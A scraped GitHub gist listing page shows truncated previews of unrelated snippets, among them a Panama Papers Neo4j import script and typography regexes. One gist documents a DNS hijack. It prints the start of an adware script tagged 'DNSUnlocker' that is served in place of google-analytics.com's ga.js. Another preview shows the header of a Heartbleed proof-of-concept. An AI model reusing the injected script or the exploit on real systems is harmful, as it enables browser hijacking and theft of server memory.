Skip to content

Instantly share code, notes, and snippets.

starenka starenka

Block or report user

Report or block starenka

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View how-to-make-a-racist-ai-without-really-trying.ipynb
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@jexp
jexp / bulk-neo4j-import-original.sh
Last active Dec 16, 2018
Panama Papers Import Scripts for Neo4j
View bulk-neo4j-import-original.sh
export NEO4J_HOME=${NEO4J_HOME-~/Downloads/neo4j-community-3.0.1}
if [ ! -f data-csv.zip ]; then
curl -OL https://cloudfront-files-1.publicintegrity.org/offshoreleaks/data-csv.zip
fi
export DATA=${PWD}/import
rm -rf $DATA
@kokes
kokes / EU_Fondy.ipynb
Last active Jul 11, 2016
První nástřel tabulkování eurofondů
View EU_Fondy.ipynb
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
View 01-dns-query.txt
$ dig google-analytics.com @82.163.143.172
; <<>> DiG 9.8.3-P1 <<>> google-analytics.com @82.163.143.172
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 23476
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;google-analytics.com. IN A
View ga.js
$ curl http://m64.dnsqa.me/QualityCheck/ga.js
/* 64/9/AT */
window._rvz9560x1009 = {'publisher_subid':'64001', 'addonname': 'DNSUnlocker'};
window._rvz9560x1010 = {'publisher_subid':'64001', 'addonname': 'DNSUnlocker'};
(function() {
var gtprv = {
isIE : function () { var myNav = navigator.userAgent.toLowerCase(); return (myNav.indexOf('msie') != -1) ? parseInt(myNav.split('msie')[1]) : false; },
loadJS : function (gturl) {
var dns_qcs8 = document.getElementsByTagName('script')[0];
var dns_qc8 = document.createElement('script'); dns_qc8.type='text/javascript';
View server.yaml
# Main Nginx router
www-router:
image: andrewgodwin/www-router
environment:
www.aeracode.org: aeracode-varnish
aeracode.org: redirect:www.aeracode.org
www.codingponies.com: codingponies
codingponies.com: redirect:www.codingponies.com
@ruario
ruario / h264-vivaldi-linux.md
Last active Jun 22, 2019
How to enable HTML5 MP4 (H.264/AAC) video in Vivaldi for Linux, via an alternative FFMpeg library
@takeshixx
takeshixx / hb-test.py
Last active Jul 17, 2019
OpenSSL heartbeat PoC with STARTTLS support.
View hb-test.py
#!/usr/bin/env python2
"""
Author: takeshix <takeshix@adversec.com>
PoC code for CVE-2014-0160. Original PoC by Jared Stafford (jspenguin@jspenguin.org).
Supportes all versions of TLS and has STARTTLS support for SMTP,POP3,IMAP,FTP and XMPP.
"""
import sys,struct,socket
from argparse import ArgumentParser
@Synthetica9
Synthetica9 / pyg.py
Last active May 16, 2016
An interpeter for pyg, the golfed python. Fully backwards compatible with python.
View pyg.py
#A golfed python 'accent'. Fully backwards compatible with python.
#NOT SUITED FOR DAY-TO-DAY PROGRAMMING!
#If you DO use it for a production (non-challenge/codegolf) program, I'm not
#responsible for anything bad that happens to you, your computer,
#your spare time, your code maintainability, any kittens that god might kill,
#or the tears of blood you will weep.
import sys
from math import *
@msgre
msgre / texytypo.py
Created Sep 30, 2012
Texy typoška
View texytypo.py
import re
# sada regularnich vyrazu pro lepsi typosku
# zdroj: texy-2.1/texy/modules/TexyTypographyModule.php
TEXY_CHARS = ur'A-Za-z\u00C0-\u02FF\u0370-\u1EFF'
TEXY_TYPO_PATTERNS = [
(re.compile(ur'(?<![.\u2026])\.{3,4}(?![.\u2026])', re.M | re.U), u"\u2026"), # ellipsis ...
(re.compile(ur'(?<=[\d ])-(?=[\d ]|$)'), u"\u2013"), # en dash 123-123
(re.compile(ur'(?<=[^!*+,/:;<=>@\\\\_|-])--(?=[^!*+,/:;<=>@\\\\_|-])'), u"\u2013"), # en dash alphanum--alphanum
You can’t perform that action at this time.